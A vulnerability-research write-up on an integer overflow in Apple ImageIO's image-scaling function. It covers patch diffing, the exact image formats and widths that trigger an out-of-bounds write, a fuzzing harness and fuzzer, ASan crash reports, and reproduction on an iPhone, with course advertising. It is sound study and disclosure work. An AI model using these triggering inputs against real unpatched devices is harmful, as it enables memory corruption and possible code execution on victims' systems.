TL;DR

_CGImageCreateByScaling, an exported function inside Apple's ImageIO framework, computed a destination row stride as (bytesPerPixel * dstWidth) + 7 using a 32-bit multiply-add. Feed it a dstWidth large enough and the product wraps, producing a row stride of 0 or 8 for an image a billion pixels wide. That stride is handed to IIOSubsampler, which sizes the destination buffer from it and then asks vImage to scale into it, a massively out-of-bounds write.

Apple fixed it in macOS Tahoe 26.6.2 / iOS 26.6.1 by widening the multiply to umull and adding an explicit overflow test.

This post walks the whole thing end to end: the binary diff that found it, the proof-of-concept, a TinyInst harness, a LibAFL binary-only fuzzer that rediscovers it automatically, ASan reports from the resulting crashes, and a reproduction on a real iPhone running iOS 26.3.

Learn this hands-on

Everything in this write-up, patch diffing Apple's dyld_shared_cache, building a binary-only fuzzing harness with LibAFL + TinyInst, and triaging crashes with ASan and LLDB on a real iPhone, is exactly what you practice in iOS Userland Fuzzing & Exploitation: AFL++/LibAFL, LLDB, and 0-click exploit development against real Apple targets on the latest iOS versions.

Explore the iOS Userland Fuzzing course →

1. The Vulnerability

From Apple's advisory for macOS Tahoe 26.6.2:

ImageIO: Impact: Processing an image may lead to arbitrary code execution. An integer overflow was addressed with improved input validation. CVE-2026-65346: Nik Tsytsarkin of Meta Red Team X

CVE CVE-2026-65346
Component ImageIO
Class Integer overflow → heap buffer overflow (OOB write)
Impact Arbitrary code execution from processing an image
Reported by Nik Tsytsarkin, Meta Red Team X
Fixed in macOS Tahoe 26.6.2 (25G83), iOS/iPadOS 26.6.1, iOS 18.7.10
Attack vector Zero-click, anything that renders or thumbnails an image

Timeline

Apple does not publish discovery dates, so the only hard dates are the shipping ones, taken from the Last-Modified headers on Apple's own CDN:

Release Build Date
macOS 26.6 25G72 Fri, 24 Jul 2026
macOS 26.6.1 25G76 Mon, 03 Aug 2026
macOS 26.6.2 25G83 Thu, 13 Aug 2026 ← the fix

Note the asymmetry: the bug was fixed on iOS in 26.6.1 but on macOS only in 26.6.2: macOS 26.6.1 and 26.6.2 are ten days and one point release apart, so the delta is tiny and the fix is easy to isolate. There is a second ImageIO CVE in the same update, CVE-2026-65347 ("may lead to a denial-of-service"); keeping the two apart is part of the work below.


2. The Lab

Two machines, deliberately one point release apart:

Role Version Build Notes
Patched (diff reference) macOS 26.6.2 25G83 SIP disabled
Vulnerable (target VM) macOS 26.6.1 25G76 192.168.64.80, SIP enabled, 10 cores

Keep the VM off 26.6.2. softwareupdate --list will happily offer it, so confirm auto-install is off (AutomaticallyInstallMacOSUpdates = 0) before you start.


3. Patch Diff Analysis

Getting both copies of ImageIO

On modern macOS, ImageIO lives inside the dyld_shared_cache, not as a standalone file. The patched copy is the running system's cache; the vulnerable copy is scp'd from the VM (15 files, 5.5 GB, much faster than a ~6 GB remote extraction from Apple). Extract the framework from each side with blacktop/ipsw (ipsw dyld macho "$CACHE" "$FW" --extract): 31.5 MB each, different md5s. Good. (Note: ipsw dyld image does not list the main ImageIO.framework/Versions/A/ImageIO, only the appex and the XPC service. Extraction by exact path works anyway.)

String diff: the fastest signal

New error strings are the cheapest way to see what Apple added:

$ LC_ALL=C strings - ./bin/vuln/ImageIO    | LC_ALL=C sort -u > diff/str_vuln.txt
$ LC_ALL=C strings - ./bin/patched/ImageIO | LC_ALL=C sort -u > diff/str_patched.txt
$ diff diff/str_vuln.txt diff/str_patched.txt | grep '^>' | sed 's/^> //' \
    | grep -v -E '^/AppleInternal|BuildRoot|/Library/Caches/com.apple.xbs'

Output (trimmed to the security-relevant lines):

*** ERROR: CG fallback rowBytes overflow rounding up: product=%u
*** ERROR: CG fallback rowBytes overflow: dstWidth=%zu * bpp=%u
*** ERROR: dstRowBytes overflow: dstWidth=%zu * (bpp/8)=%u
*** ERROR: image dimensions exceed UINT32_MAX: %zu x %zu
*** ERROR: subsampleRGB888 MALLOC failed (src=%p dst=%p, %zu x %u)
*** IOSurface does not support allocSize larger than INT32_MAX
*** dest buffer size overflow [%u x %u x %zu]
*** invalid row bytes (src=%u dst=%u)

This is a whole hardening batch, not one fix. Two candidates jump out for an integer overflow leading to arbitrary code execution:

  • dstRowBytes overflow: dstWidth=%zu * (bpp/8)=%u
  • CG fallback rowBytes overflow: dstWidth=%zu * bpp=%u

Both name a multiplication of a width by a bytes-per-pixel, textbook stride overflow.

The GIF trap

The symbol diff, meanwhile, is dominated by GIF: GIFReadPlugin::initialize grows a locked, refcounting GlobalGIFInfo::globalColorMap() accessor where a raw, unsynchronised global pointer read used to be. That is a race/UAF fix, not an integer overflow: most likely CVE-2026-65347, and chasing it would have burned the whole investigation. The lesson: match the class of the fix to the wording of the advisory.

Attributing the new strings to functions

The strings say what changed; we need where. A small ARM64 scanner does the job: find each string's virtual address, sweep __text for ADRP+ADD pairs that materialise it, and map the hit back to the enclosing symbol:

$ python3 diff/xref.py bin/patched/ImageIO diff/sym_patched_raw.txt \
    "dstRowBytes overflow" "CG fallback rowBytes overflow" \
    "image dimensions exceed UINT32_MAX" "dest buffer size overflow" \
    "subsampleRGB888" "allocSize larger than INT32_MAX"
--- "*** ERROR: dstRowBytes overflow: dstWidth=%zu * (bpp/8)=%u"
      0x18d6f5070  in  _CGImageCreateByScaling
      0x18d6f50f0  in  _CGImageCreateByScaling

--- "*** ERROR: CG fallback rowBytes overflow: dstWidth=%zu * bpp=%u"
      0x18d6f5610  in  _CGImageCreateByScaling

--- "*** ERROR: image dimensions exceed UINT32_MAX: %zu x %zu"
      0x18d6f55cc  in  _CGImageCreateByScaling

Three separate new overflow guards land in one function: _CGImageCreateByScaling. That is our candidate. (The remaining new strings land in ASTCWritePlugin, an encode path, and "processing an image" means decode, and in IOSurface creation.)

In a cache-extracted Mach-O, the section offset fields are cache-relative and wrong for the file on disk, derive the real offset from the enclosing segment: foff = seg.fileoff + (sect.addr - seg.vmaddr).

The smoking gun: 32-bit madd → widening umull

; ============ macOS 26.6.1, VULNERABLE ============
lsr   w8, w24, #0x3          ; bytesPerPixel = bitsPerPixel / 8
mov   w9, #0x7
ldr   x20, [sp, #0x80]       ; w20 = dstWidth
madd  w8, w8, w20, w9        ; (bytesPerPixel * dstWidth) + 7   <-- 32-BIT, WRAPS
and   w25, w8, #0xfffffff8   ; dstRowBytes, rounded to a multiple of 8
...
stp   w20, w25, [sp]         ; push dstWidth, dstRowBytes
bl    __ZN13IIOSubsamplerC1Ejjjttttjj

; ============ macOS 26.6.2, PATCHED ============
lsr   w8, w24, #0x3
umull x9, w19, w8                ; 64-bit widening multiply
tst   x9, #0xffffffff00000000    ; did the product exceed 32 bits?
b.ne  -> LogError("*** ERROR: dstRowBytes overflow: dstWidth=%zu * (bpp/8)=%u")
adds  w9, w9, #0x7               ; and check the +7 round-up for carry
b.lo  -> continue                ; else LogError

Every 32-bit madd became a widening umull, at exactly the sites the new error strings point to.

Root cause. dstRowBytes = ((bytesPerPixel * dstWidth) + 7) & ~7 is computed in 32 bits. It is then given to IIOSubsampler, which sizes the destination buffer from it and writes full-width scanlines into it.

Zero callers, one exported symbol

$ python3 diff/callers.py bin/vuln/ImageIO diff/sym_vuln_raw.txt 0x18d6f4cd8
0 direct caller site(s) of 0x18d6f4cd8:

$ grep 'CGImageCreateByScaling' diff/sym_patched_raw.txt
0x18d6f4d5c:  (__TEXT,__text) external  _CGImageCreateByScaling

Zero callers inside ImageIO, and the symbol is external. It is an exported entry point, we can dlsym it and call it directly. Reading the prologue recovers the signature, confirmed empirically (a sane call returns exactly dstWidth * 4 as the stride):

CGImageRef CGImageCreateByScaling(CGImageRef src, uint32_t dstWidth,
                                  uint32_t dstHeight, int32_t opts);

Finding the pixel formats that crash

To overflow with a 32bpp image we need dstWidth * 4 >= 2^32, i.e. dstWidth >= 0x40000000. On the patched host, both new guards fire and log for such input, which simultaneously proves the input reaches the vulnerable arithmetic. On 26.6.1 the guards do not exist, so the wrapped value survives:

4 * 0x40000001 = 0x100000004  ->  truncated to 0x4  ->  (4+7) & ~7  =  8

An 8-byte row stride for a 1,073,741,825-pixel-wide row. Yet running that on the vulnerable VM gives... no crash. The wrapped stride does propagate into IIOSubsampler, but the 8-bit path calls vImageScale_ARGB8888, and vImage validates its buffer descriptors and bails with kvImageInternalError.

The patch itself points at the answer: it also hardened IIOSubsampler::subsampleRGB888. The subsamplers are per-pixel-format, and they do not all validate. So vary the source pixel format, which is also the second operand of the multiply, so the required dstWidth changes with it:

src bpp bytesPerPixel minimal dstWidth = ceil(2^32/bpx)
24 3 0x55555556
32 4 0x40000000
48 6 0x2AAAAAAB
64 8 0x20000000
128 16 0x10000000

CGBitmapContextCreate refuses most of these layouts, but CGImageCreate over a CGDataProviderCreateWithData accepts them all. Sweeping the formats:

$ ssh fuzzing@192.168.64.80 'for b in 24 32 48 64 128; do ./poc_65346_fmt $b; done'
bpp=24   wrapped rowBytes: 8    survived. returned 0x0
bpp=32   wrapped rowBytes: 0    survived. returned 0x0
bpp=48   wrapped rowBytes: 8    survived. returned 0x0
bpp=64   wrapped rowBytes: 0    *** SIGNAL 10 -- CRASH ***
bpp=128  wrapped rowBytes: 0    *** SIGNAL 10 -- CRASH ***

The 16-bit-per-component paths crash: and both are NULL on the patched host. Backtrace on the vulnerable VM:

$ lldb -b -o run -o "bt 4" -- ./poc_65346_fmt 64
stop reason = EXC_BAD_ACCESS (code=2, address=0x100a58000)
  frame #0: vImage`vHorizontal_Shear_ARGB_16U + 5352
->  0x192416210 <+5352>: str    d0, [x21, x4, lsl #3]

str, an 8-byte write into the destination buffer at a computed index. That is the memory corruption.


4. The Harness

Now to automate discovery. The harness has to satisfy an awkward constraint:

_CGImageCreateByScaling has zero callers inside ImageIO, and the operand that overflows, dstWidth, is a function parameter, not a field of the decoded image.

A harness that only decodes files will never vary the thing that overflows. So the harness drives three surfaces and gets dstWidth from the fuzzer.

4.1 Resolving the target

_CGImageCreateByScaling is exported but not in any public header, so declare the recovered prototype and dlsym it. Doing it in a constructor keeps the lookup out of the hot loop and keeps TinyInst's module list stable at startup:

typedef CGImageRef (*scale_fn)(CGImageRef, uint32_t, uint32_t, int32_t);
static scale_fn g_scale;

static const char *IMAGEIO_PATH =
    "/System/Library/Frameworks/ImageIO.framework/Versions/A/ImageIO";

__attribute__((constructor))
static void resolve_target(void) {
    void *h = dlopen(IMAGEIO_PATH, RTLD_NOW | RTLD_GLOBAL);
    if (h) g_scale = (scale_fn)dlsym(h, "CGImageCreateByScaling");
    if (!g_scale) g_scale = (scale_fn)dlsym(RTLD_DEFAULT, "CGImageCreateByScaling");
}

4.2 Forcing the decode

CGImageSourceCreateImageAtIndex returns a lazy image. Nothing is written until somebody demands the pixels, and it is that write that runs off the end of the buffer. So force_decode() copies the image's data provider and touches the first byte, gated by a 64 MB cap: a correctly-computed huge image is skipped so it can't OOM the fuzzer, while an input that actually overflows produces a tiny stride and sails through the gate.

4.3 The routes

  • Route S: the CVE surface. Call g_scale(img, dstW, dstH, opts) directly with fuzzer-supplied dimensions (zero width/height rejected, the callee rejects them anyway), then force_decode the result.
  • Route T: the natural file → scaler path. CGImageSourceCreateThumbnailAtIndex is how a real zero-click attack reaches the scaler: Messages, Quick Look, Spotlight and Finder all generate thumbnails. The harness requests thumbnails at a few fixed pixel sizes plus a fuzzer-controlled one, and force-decodes each.
  • Route A: plain decode. Just decoding the input exercises every ImageIO codec and produces the source CGImage whose bitsPerPixel is the multiply's second operand.

4.4 The input format: a trailer

We need the fuzzer to control dstWidth, but the bytes ImageIO parses must stay a valid image or every mutation dies in the PNG CRC check instead of reaching the scaler. Solution: a 16-byte trailer appended after the image, stripped before decoding.

"SCL3" | u32 dstWidth | u32 dstHeight | u32 opts        (little-endian)
#define TRAILER_MAGIC "SCL3"
#define TRAILER_LEN   16

static int split_trailer(const uint8_t *data, size_t size, size_t *img_size,
                         uint32_t *dstW, uint32_t *dstH, int32_t *opts) {
    *img_size = size;
    if (size < TRAILER_LEN + 8) return 0;
    const uint8_t *t = data + size - TRAILER_LEN;
    if (memcmp(t, TRAILER_MAGIC, 4) != 0) return 0;
    uint32_t w, h, o;
    memcpy(&w, t + 4,  4);
    memcpy(&h, t + 8,  4);
    memcpy(&o, t + 12, 4);
    *dstW = w; *dstH = h; *opts = (int32_t)o;
    *img_size = size - TRAILER_LEN;
    return 1;
}

You can see it at the end of a seed:

$ xxd -s -16 seeds/img_64bpp_tiff_exact
000008d2: 5343 4c33 0000 0020 0200 0000 0000 0000  SCL3... ........
          ^^^^^^^^^ "SCL3"
                    ^^^^^^^^^ dstWidth  = 0x20000000
                              ^^^^^^^^^ dstHeight = 2
                                        ^^^^^^^^^ opts = 0

4.5 Tying the routes together

static void decode_image_inner(const uint8_t *data, size_t size) {
    if (size < 8 || size > (32u * 1024u * 1024u)) return;

    size_t img_size; uint32_t dstW = 0, dstH = 0; int32_t opts = 0;
    int have_trailer = split_trailer(data, size, &img_size, &dstW, &dstH, &opts);
    if (img_size < 8) return;

    CFDataRef cf = CFDataCreate(NULL, data, (CFIndex)img_size);
    if (!cf) return;
    CGImageSourceRef src = CGImageSourceCreateWithData(cf, NULL);
    if (src) {
        CGImageRef img = CGImageSourceCreateImageAtIndex(src, 0, NULL);  /* Route A */
        force_decode(img);
        if (img) {
            /* Without a trailer, derive the destination from the source so
             * ordinary images still reach Route S. */
            if (!have_trailer) {
                dstW = (uint32_t)CGImageGetWidth(img)  * 2u + 1u;
                dstH = (uint32_t)CGImageGetHeight(img) * 2u + 1u;
            }
            scale_route(img, dstW, dstH, opts);   /* Route S */
            CFRelease(img);
        }
        thumbnail_route(src, dstW);               /* Route T */
        CFRelease(src);
    }
    CFRelease(cf);
}

4.6 Why the harness is C++: a 3.3× speedup

The single most impactful line in the whole harness:

static void decode_image(const uint8_t *data, size_t size) {
    try {
        decode_image_inner(data, size);
    } catch (...) {
        /* malformed input rejected by CG/IIO, not interesting */
    }
}

CoreGraphics and ImageIO throw bare int exceptions out of their C++ internals on allocation failure and on several malformed-input paths. Uncaught, each one calls std::terminate, kills the persistent-mode child, and forces TinyInst to respawn and re-instrument all of ImageIO, the console fills with libc++abi: terminating due to uncaught exception of type int and throughput collapses to 9.8 exec/s. Catching them:

[Testcase #0] executions: 2532, exec/sec: 32.26 | edges: 12323

9.8 → 32.3 exec/s. A genuine memory-corruption crash arrives as a signal, not a C++ exception, so this cannot mask the bug we are hunting.


5. Building the Harness (no make, no cmake)

One clang++ invocation:

clang++ -O2 -g -fno-omit-frame-pointer -fexceptions \
  -framework Foundation -framework ImageIO -framework CoreGraphics -framework CoreFoundation \
  -o cgs_harness cgs_harness.cpp

Then codesign it. This is mandatory: TinyInst needs task_for_pid on the child, and SIP is enabled on the target VM. ent.plist grants com.apple.security.get-task-allow (plus cs.debugger), the same mechanism that lets lldb debug locally-built binaries under SIP:

codesign -f -s - --entitlements ent.plist cgs_harness

The fuzz entry point stays extern "C" so its name survives C++ mangling: TinyInst's persistent mode breakpoints it by name.

6. Sanity-Checking the Harness

Before fuzzing, confirm the harness is a good citizen on real images. Two genuine system files (a 3840×2160 HEIC and a 256×256 PNG) decode clean, a full decode, a scale through CGImageCreateByScaling, and three thumbnail renders:

$ ./cgs_harness -f demo/valid.heic ; echo "exit=$?"
exit=0
$ ./cgs_harness -f demo/valid.png ; echo "exit=$?"
exit=0

Contrast with a crashing input:

$ ./cgs_harness -f crashes/02266f626f3d2766 ; echo "exit=$?"
exit=139          # 139 - 128 = signal 11 (SIGSEGV)

That is the whole oracle: exit 0 on good images, fatal signal on bad ones.


7. Why LibAFL + TinyInst

ImageIO is a closed-source Apple framework living in the shared cache. That rules out source instrumentation, so we need binary-only coverage. On macOS/ARM64 the realistic options are:

Frida-stalker (libafl_frida) Works, but its module filter is built at startup. Anything dlopen'd later is invisible. Also slower for this workload.
QEMU mode (libafl_qemu) Full-system emulation of macOS frameworks, impractical here.
TinyInst (libafl_tinyinst) Purpose-built for exactly this: a debugger-based, dynamic-instrumentation engine from Google Project Zero, designed for closed-source macOS/Windows targets.

TinyInst wins for three concrete reasons:

  1. It sees every module load. TinyInst attaches as a debugger, so modules dlopen'd lazily mid-run are still instrumented, the exact case Frida's startup-time module filter misses.
  2. It instruments only what you name. -instrument_module ImageIO leaves the other ~6,000 dylibs in the shared cache at native speed. Since the vulnerable arithmetic and IIOSubsampler both live in ImageIO, that one module is all we need.
  3. Persistent mode. -target_method _fuzz lets it loop inside one process for thousands of iterations instead of paying fork+exec+re-instrumentation per input.

And LibAFL on top gives us a real fuzzer, corpus scheduling, havoc mutators, coverage feedback, multi-core, instead of a hand-rolled loop.

One caveat that shapes the code: TinyInst is a debugger, so it cannot fork(). Multi-core therefore uses LibAFL's Launcher with .fork(false), which spawns independent client processes that share findings over LLMP.


8. The Fuzzer

8.1 Filtering out instrumentation noise

TinyInst reports ExitKind::Crash for plenty of things that are not memory corruption: unhandled breakpoints, exception-port artifacts, the child exiting mid-loop. Saving all of them buries the real bugs. So every candidate crash is replayed against the uninstrumented harness and kept only if it dies from a signal:

// Signal death (segfault, abort, bus error, ...).
if let Some(sig) = status.signal() {
    // ILL, TRAP, ABRT, EMT, FPE, BUS, SEGV
    return Ok(matches!(sig, 4 | 5 | 6 | 7 | 8 | 10 | 11));
}
// Non-zero without a signal is a handled error, not interesting.
Ok(false)

8.2 The executor

const INSTRUMENT: [&str; 1] = ["ImageIO"];
const PERSIST_ITERS: usize = 10000;

let mut executor = TinyInstExecutor::builder()
    .instrument_module(INSTRUMENT)
    .coverage_type("edge")
    .cmp_coverage()
    .program_args([
        harness.to_string_lossy().into_owned(),
        "-f".to_string(),
        "@@".to_string(),          // TinyInst substitutes the input file path
    ])
    .persistent(harness_name, "_fuzz".to_string(), 1, PERSIST_ITERS)
    .timeout(Duration::from_secs(10))
    .coverage_ptr(&raw mut COVERAGE)
    .build(tuple_list!(observer))?;

Details that matter: raising persistent iterations from 100 to 10,000 was worth ~2.1× (re-instrumenting ImageIO is the dominant cost); .cmp_coverage() gives the mutator gradient on the dstWidth comparisons instead of a blind cliff; and -generate_unwind stays off, page-extended dyld-cache neighbours like libicucore have no __unwind_info and TinyInst aborts.

8.3 The naming trap

TinyInst matches module names with _stricmp. A harness binary named imageio would match the instrumented module ImageIO, get instrumented itself, and the persistent-mode breakpoint at _fuzz would end up baked into a JIT translation, a poisoned block that traps every single iteration. Hence cgs_harness.

8.4 Multi-core

Launcher with .fork(false), TinyInst is a debugger, so it cannot fork; the launcher spawns independent client processes that share findings over LLMP.


9. Building the Fuzzer

A Cargo.toml depending on libafl, libafl_bolts and libafl_tinyinst, then:

cargo build --release -p tinyinst_cve_2026_65346
codesign -f -s - --entitlements entitlements.plist \
  ../../../target/release/tinyinst_cve_2026_65346

Build on the patched host and copy the binary across: the tinyinst crate's git2 → openssl-sys build-dependency chain fails on a bare VM with no Homebrew, and the fuzzer links only five system dylibs plus a static TinyInst, so it is portable between point releases.


10. Seeds

Two things must line up for the bug to fire, so the corpus must span both:

  1. the source image's bitsPerPixel: which is the multiply's second operand and selects which subsampler consumes the wrapped stride;
  2. dstWidth ≥ ceil(2^32 / bytesPerPixel).

Havoc will not invent a specific ~2²⁹-magnitude integer from scratch. So the seed generator puts values on the cliff edge and lets mutation explore around them. For each of PNG / TIFF / JPEG / BMP × 24 / 32 / 48 / 64 / 128 bpp it emits variants at and around the boundary:

uint32_t bpx = bpp / 8;
/* Minimal dstWidth whose product with bytesPerPixel exceeds 32 bits. */
uint32_t boundary = (uint32_t)((0x100000000ull + bpx - 1) / bpx);

struct { const char *tag; uint32_t w; uint32_t h; } cases[] = {
    { "under",  boundary - 1,  2 },
    { "exact",  boundary,      2 },
    { "over",   boundary + 1,  2 },
    { "over8",  boundary + 8,  2 },
    { "max",    0xffffffffu,   2 },
    { "half",   boundary / 2,  2 },
};

That is 160 seeds, 672 KB. Sanity-check the corpus against both builds before fuzzing:

# vulnerable VM, macOS 26.6.1
$ for f in seeds/*; do ./cgs_harness -f "$f"; \
    [ $? -gt 128 ] && echo "CRASH $f"; done
CRASH seeds/img_128bpp_png_max
CRASH seeds/img_128bpp_tiff_exact
CRASH seeds/img_64bpp_png_exact
CRASH seeds/img_64bpp_tiff_over
... (9 more, all 64/128bpp PNG/TIFF at or above the boundary) ...
---- 13 crashing seeds out of 160 ----

# patched host, macOS 26.6.2: identical corpus
---- 0 crashing seeds out of 160 ----

13/160 vs 0/160. Exactly the predicted set: 64 and 128 bpp, at or above the boundary, and only in containers that preserve 16-bit components (PNG and TIFF; JPEG and BMP quantise back down to 8 bits per component).


11. Running the Fuzzer

Single process: --simple. Multi-core (spawned clients, no fork, TinyInst is a debugger):

../../../target/release/tinyinst_cve_2026_65346 --cores 0-3
=== CVE-2026-65346 ImageIO scaling fuzzer (Launcher, fork=false) ===
cores: Cores { ids: [CoreId(0), CoreId(1), CoreId(2), CoreId(3)] }
Instrumented module ImageIO, code size: 3408672
Imported 160 seed inputs.
[Client Heartbeat #3]  (GLOBAL) run time: 48m-29s, clients: 5, corpus: 2264, \
    objectives: 170, executions: 381732, exec/sec: 131.2
LibAFL + TinyInst fuzzer rediscovering CVE-2026-65346 on macOS 26.6.1, launch, Bus error crash with vImage backtrace, campaign continues
The fuzzer rediscovering the bug on the 26.6.1 VM, 3× speed. It trips a Bus error in vImage's 16-bit shear path, the native-replay filter keeps it, and the campaign continues.

12. The Crashes

After ~48 minutes on 4 cores: 140 unique crashes from 381,732 executions (134 TIFF, 6 PNG by magic bytes), plus 959 corpus entries.

The single most important triage step, replay them on the patched build. (The campaign was still running, so the replay sets below are snapshots pulled off the VM at different points: 19 inputs here, 25 for the ASan pass in §13.)

$ for f in crashes_vm/*; do ./cgs_harness -f "$f"; \
    [ $? -gt 128 ] && echo "CRASH $(basename $f)"; done
---- 0 / 19 crash on the PATCHED host ----

Every crash is fixed by the 26.6.2 patch. That is the differential that turns "the fuzzer found crashes" into "the fuzzer rediscovered CVE-2026-65346".

Crashing frames on the vulnerable build:

$ lldb -b -o run -o "bt 6" -- ./cgs_harness -f crashes/2871a12dbb8232f3
stop reason = EXC_BAD_ACCESS (code=1, address=0xae4400000)
  frame #0: vImage`vHorizontal_Shear_ARGB_16U + 5352

Two distinct chains, both 16-bit-per-component:

Top frame Subsampler Count
vHorizontal_Shear_ARGB_16U IIOSubsampler::subsampleRGBA16 14
vHorizontalShear_ARGB16F_vec IIOSubsampler::subsampleRGBA32 5

13. ASan Triage

Building and running the ASan harness

Same source, one extra flag, then codesign as before:

clang++ -O1 -g -fno-omit-frame-pointer -fexceptions -fsanitize=address \
  -framework Foundation -framework ImageIO -framework CoreGraphics -framework CoreFoundation \
  -o cgs_harness_asan cgs_harness.cpp
MallocNanoZone=0 \
ASAN_OPTIONS=allocator_may_return_null=1:detect_leaks=0:symbolize=1:print_stacktrace=1:abort_on_error=0 \
  ./cgs_harness_asan -f crashes/<input>

allocator_may_return_null=1 is not optional, without it ASan aborts on ImageIO's huge speculative allocations long before execution reaches the bug.

Report: chain 1 (subsampleRGBA16)

AddressSanitizer:DEADLYSIGNAL
=================================================================
==7255==ERROR: AddressSanitizer: BUS on unknown address (pc 0x000192416210 bp 0x00016fab6e10 sp 0x00016fab6c70 T0)
==7255==The signal is caused by a WRITE memory access.
    #0 0x000192416210 in vHorizontal_Shear_ARGB_16U+0x14e8      (vImage:arm64e+0x2c210)
    #1 0x000192414cc0 in vImageHorizontalShear_ARGB16U+0x260    (vImage:arm64e+0x2acc0)
    #2 0x000192414890 in vImageScale_ARGB16U+0x424              (vImage:arm64e+0x2a890)
    #3 0x000195963054 in IIOSubsampler::subsampleRGBA16(unsigned char*, unsigned int, unsigned char*, unsigned int*)+0x138  (ImageIO:arm64e+0x104054)
    #4 0x0001958ab52c in IIOSubsampler::subsample(unsigned char*, unsigned int, unsigned char*, unsigned int*)+0x280        (ImageIO:arm64e+0x4c52c)
    #5 0x0001959153e0 in CGImageCreateByScaling+0x708           (ImageIO:arm64e+0xb63e0)
    #6 0x000100348ef8 in decode_image(unsigned char const*, unsigned long) cgs_harness.cpp:210
    #7 0x000100348cc0 in fuzz cgs_harness.cpp:264
    #8 0x0001003493cc in main cgs_harness.cpp:279
    #9 0x0001883544e0 in start+0x1b4c                           (dyld:arm64e+0x204e0)

==7255==Register values:
 x[4] = 0x0000000000007ada     <- write index
x[21] = 0x0000602000002930     <- destination buffer (ASan small-alloc region)
x[22] = 0x0000000020000001     <- dstWidth = 2^29+1, the 64bpp overflow boundary
SUMMARY: AddressSanitizer: BUS (vImage:arm64e+0x2c210) in vHorizontal_Shear_ARGB_16U+0x14e8

The whole bug in one stack: CGImageCreateByScaling → IIOSubsampler::subsample → subsampleRGBA16 → vImage → out-of-bounds write. Faulting instruction is str d0, [x21, x4, lsl #3] → 0x602000002930 + 0x7ada*8, i.e. ~251 KB past the allocation. Chain 2 is the same shape through subsampleRGBA32 and vHorizontalShear_ARGB16F_vec, with x22 = 0xffffffff, the saturated dstWidth.

Across all crashes

19/19 reports state The signal is caused by a WRITE memory access, and every one carries a dstWidth sitting exactly on its depth's overflow threshold:

x22 (dstWidth) depth meaning
0x20000000 / +1 / +8 64 bpp 2^32 / 8 boundary
0x10000000 / +1 / +8 128 bpp 2^32 / 16 boundary
0xffffffff both saturated

The arithmetic from the patch diff, showing up verbatim in the register state.

The same ASan binary on the patched build

The final control. Identical harness, identical ASan flags, identical inputs, only the OS differs:

$ for f in crashes_vm/*; do
    MallocNanoZone=0 ASAN_OPTIONS=allocator_may_return_null=1:detect_leaks=0:abort_on_error=0 \
      ./cgs_harness_asan -f "$f" 2>&1 | grep -q 'ERROR: AddressSanitizer' && echo "ASAN ERROR: $f"
  done
---- 0 ASan errors across 25 inputs on the PATCHED host ----
macOS 26.6.1 (vulnerable) macOS 26.6.2 (patched)
ASan verdict 19 / 19 fatal: BUS or SEGV, all WRITE memory access 0 errors

Why it is DEADLYSIGNAL and not heap-buffer-overflow

Worth being explicit, because it looks like a tooling failure and is not. The row stride is short by nearly 2³², so the very first row write jumps hundreds of kilobytes past the buffer and lands on unmapped pages, far outside any ASan redzone or shadow, hence BUS/SEGV instead of a redzone report. And the fault address tracks the input (0x500008000, 0xae4400000, 0x600800000…), meaning the out-of-bounds distance is attacker-influenced: a more useful exploitability signal than a redzone hit would have been.


14. Reproducing on a Real iPhone

Everything above ran on macOS VMs. The same harness, cross-compiled for iOS as cgs_harness_ios_asan, was deployed to a jailbroken iPhone running iOS 26.3 (23D127): a build that predates the 26.6.1 fix, and run over SSH against one of the fuzzer-found crashes:

# ASAN_OPTIONS=allocator_may_return_null=1:detect_leaks=0:max_allocation_size_mb=8192 \
    ./cgs_harness_ios_asan -f crashes/fbc4b0e6b16ee06c
AddressSanitizer: SEGV ... The signal is caused by a WRITE memory access
    vImageHorizontalShear_ARGB16U  <-  vImageScale_ARGB16U  (vImage:arm64e)
    <- IIOSubsampler::subsampleRGBA16 <- IIOSubsampler::subsample
    <- CGImageCreateByScaling+0x6f8 <- decode_image <- fuzz <- main
zsh: abort

The same chain reproduces: ASan reports a SEGV caused by a WRITE in vImage's vImageHorizontalShear_ARGB16U, reached via IIOSubsampler::subsampleRGBA16 from CGImageCreateByScaling, frame for frame the macOS chain-1 report. iOS 26.3 ships the same vulnerable 32-bit arithmetic, confirming the zero-click vector (thumbnails and rendering) applies to mobile, not just macOS.

ASan report on an iPhone running iOS 26.3: SEGV write in vImageHorizontalShear_ARGB16U via IIOSubsampler::subsampleRGBA16 from CGImageCreateByScaling
The crash replayed on a real iPhone (iOS 26.3): ASan reports a SEGV write in vImage's 16-bit shear path, reached through the same CGImageCreateByScaling → IIOSubsampler chain as on macOS.

🎯 Harness construction for ImageIO, CoreText and CoreAudio, and reproducing ImageIO bugs on-device against a live iPhone like the one above, is a full module in iOS Userland Fuzzing & Exploitation.


15. Takeaways

  1. Match the fix class to the advisory wording. The symbol diff screamed GIF, but the GIF change was a race fix. The advisory said "integer overflow", that is what pointed at _CGImageCreateByScaling.
  2. String diffs beat symbol diffs for this class of bug. dstRowBytes overflow: dstWidth=%zu * (bpp/8)=%u names the vulnerable expression outright.
  3. A guard that fires is a reachability oracle. Watching the patched build's LogError print proved we reached the vulnerable arithmetic before we ever got a crash.
  4. A non-crashing PoC is not a dead bug. The 32bpp attempt failed only because vImage validates that specific path. The patch itself named the other subsamplers, which is what pointed at 64/128 bpp.
  5. Harness the parameter, not just the file. The overflowing operand was a function argument to an exported symbol with no internal callers. A decode-only harness would have fuzzed this for weeks and found nothing.
  6. Seed on the cliff edge. No mutator is going to guess 0x20000000.
  7. Catch the target's exceptions. One try/catch(...) was worth 3.3× on throughput.

Artifacts

CVE-2026-65346/
├── bin/{vuln,patched}/ImageIO      # extracted framework, both builds
├── diff/xref.py                    # string -> function attribution (ADRP+ADD scan)
├── diff/callers.py                 # BL/B caller discovery
├── poc/poc_65346.c                 # direct-call PoC
├── poc/poc_65346_fmt.c             # pixel-format-aware PoC (the one that crashes)
└── asan/                           # 19 ASan reports

libafl-tiny/fuzzers/binary_only/tinyinst_cve_2026_65346/
├── harness/cgs_harness.cpp         # the TinyInst harness
├── harness/mkseeds.c               # boundary-aware seed generator
├── src/main.rs                     # the LibAFL fuzzer
└── src/verified_crash.rs           # native-replay crash filter

How to Practice This Kind of Analysis

Binary patch diffing, binary-only fuzzing, and crash triage are core skills for vulnerability researchers. Mobile Hacking Lab's courses teach the exact techniques used here:

  • Free Mobile Security Labs, hands-on fundamentals with reverse engineering and Frida instrumentation across iOS and Android.
  • iOS Userland Fuzzing & Exploitation, patch-diff Apple's dyld_shared_cache, fuzz ImageIO, CoreText, and CoreAudio with AFL++ and LibAFL + TinyInst, triage crashes with ASan and LLDB, and reproduce bugs on real iPhones running the latest iOS versions. The exact ImageIO scaling path analyzed here is a course lab.

Start the iOS Userland Fuzzing & Exploitation course →

